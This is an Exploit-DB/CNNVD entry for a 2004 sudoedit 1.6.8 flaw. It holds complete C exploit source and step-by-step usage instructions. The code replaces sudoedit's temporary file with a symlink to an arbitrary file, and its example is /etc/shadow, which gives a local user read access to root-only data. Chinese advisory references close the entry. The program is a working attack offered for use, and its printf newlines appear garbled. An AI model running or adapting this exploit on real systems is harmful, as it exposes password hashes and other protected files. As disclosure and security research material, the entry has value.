https://www.exploit-db.com/exploits/470
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200409-035

sudo1.6.8版本中的sudoedit(也称为sudo-e)打开具有根权限的临时文件。在sudoedit退出之前，本地用户借助临时文件的符号链接攻击读取任意文件。

/*

       Copyright © Rosiello Security 2004
            http://www.rosiello.org

                 sudoedit Exploit


SOFTWARE : sudoedit 
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004

Summary:
A flaw in exists in sudo's -u option (aka sudoedit) 
in sudo version 1.6.8 that can give an attacker 
read permission to a file that would otherwise be 
unreadable.

Sudo versions affected:
1.6.8 only

Credit: 
Reznic Valery discovered the problem. 

-----------------------------------------------------------

All the information that you can find in this software  
were published for educational and didactic purpose only.
The author published this program under the condition 
that is not in the intention of the reader to use them 
in order to bring to himself or others a profit or to bring 
to others damage.

!Respect the law!

How do I use this code ?

To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.

EXAMPLE SCENARIO:

1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.

The file "rosiello" is now a copy of "/etc/shadow".

AUTHOR : Angelo Rosiello
CONTACT: angelo rosiello org

*/

#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <dirent.h>


int main( int argc, char *argv[] )
{    
    char PATH[]="/usr/tmp";
    char file[32];
       DIR *tmp;
       struct dirent *de;
       tmp = opendir ( PATH );
    int found = 0;
    
    printf( "Copyright © Rosiello Security 2004n" );
    printf( "http://www.rosiello.orgn" );

    if( argc!=2 )
    {
        printf( "USAGE: %s filen", argv[0] );
        return( 0 );
    }


    while ( (de = readdir ( tmp ))!= NULL )
    {
        if ( (strstr(de->d_name, "rosiello") != NULL) )
           {
            if( strlen(de->d_name) > 24 ) return( 0 ); 
            sprintf( file, "%s/%s", PATH, (char *)de->d_name );
            remove( file );
            if( fork()!=0 )
            {
                execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 
            }
            wait( );
            printf( "Now you can close sudoedit and reopen rosiello!n" );
            found=1;
            goto end;
        
        }
        
       }
    end:
    closedir( tmp );
    
    if( !found ) 
        printf( "File Not Found!n" );
    return( 0 );
    
}


// milw0rm.com [2004-09-21]

来源:US-CERTVulnerabilityNote:VU#424358
名称:VU#424358
链接:http://www.kb.cert.org/vuls/id/424358
来源:XF
名称:sudo-sudoedit-view-files(17424)
链接:http://xforce.iss.net/xforce/xfdb/17424
来源:www.sudo.ws
链接:http://www.sudo.ws/sudo/alerts/sudoedit.html
来源:BID
名称:11204
链接:http://www.securityfocus.com/bid/11204
来源:OSVDB
名称:10023
链接:http://www.osvdb.org/10023
来源:CIAC
名称:O-219
链接:http://www.ciac.org/ciac/bulletins/o-219.shtml
来源:SECUNIA
名称:12596
链接:http://secunia.com/advisories/12596
来源:packetstormsecurity.nl
链接:http://packetstormsecurity.nl/0409-exploits/sudoedit.txt
来源:BUGTRAQ
名称:20040916[sudo-announce]Sudoversion1.6.8p1nowavailable(fwd)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109537972929201&w;=2